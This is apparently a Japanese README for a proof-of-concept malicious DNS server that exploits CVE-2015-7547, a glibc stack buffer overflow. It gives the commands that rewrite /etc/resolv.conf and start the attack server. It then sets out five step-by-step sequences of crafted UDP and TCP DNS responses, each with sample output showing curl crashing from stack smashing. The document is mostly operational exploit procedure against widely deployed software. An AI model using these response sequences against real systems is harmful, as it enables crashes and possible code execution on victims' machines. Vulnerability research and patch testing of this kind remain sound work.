
CVE-2015-7547 向け PoC エクスプロイトサーバ
脆弱なglibcバージョンでローカルマシン上でテストするには:
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/# echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/# sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
その後、別のターミナルセッションから、以下の例に示すように攻撃を実行します。
UDPおよびTCPで2048バイトを超える応答を送信できる必要があります。
攻撃シーケンス:
UDP応答、2048バイト超、有効なヘッダ/質問、TCフラグ設定(バッファ管理不具合とTCP再試行をトリガー)
TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
TCP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)
例:
user@localhost:/# curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
UDPで2048バイトを超える応答を送信できる必要があります。
攻撃シーケンス:
UDP応答、2048バイト超、無効なヘッダ(バッファ管理不具合をトリガー、有効な応答としてカウントされない)
次のリクエストを無視(ポーリングタイムアウトによりUDP再試行をトリガー)
UDP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
UDP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)
例:
user@localhost:/# curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
UDPで1024バイト超、TCPで2048バイト超の応答を送信できる必要があります。
攻撃シーケンス:
UDP応答、1024バイト、有効なヘッダ/質問(スタック割り当てバッファの半分を埋める)
UDP応答、1024バイト超、有効なヘッダ/質問、TCフラグ設定(バッファ管理不具合とTCP再試行をトリガー)
TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
TCP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)
例:
user@localhost:/# curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
UDPで2048バイトを超える応答を送信できる必要があります。
攻撃シーケンス:
UDP応答、2048バイト、有効なヘッダ/質問(スタック割り当てバッファを埋める)
UDP応答(0バイトソケット受信によりバッファ管理不具合とUDP再試行をトリガー)
UDP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
UDP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)
例:
user@localhost:/# curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
TCPで2048バイト超の応答を送信でき、かつ/etc/resolv.confに少なくとも2つのネームサーバエントリが必要です。
攻撃シーケンス:
UDP応答、有効なヘッダ/質問、TCフラグ設定(オプション、初期クエリがUDPの場合にTCP再試行をトリガー)
TCP応答、2048バイト超(バッファ管理不具合をトリガー)
TCP応答、空(0バイトソケット受信によりTCP再試行をトリガー)
TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)
TCP応答、2048バイト超(スタック割り当てバッファをオーバーフロー)
例:
user@localhost:/# curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)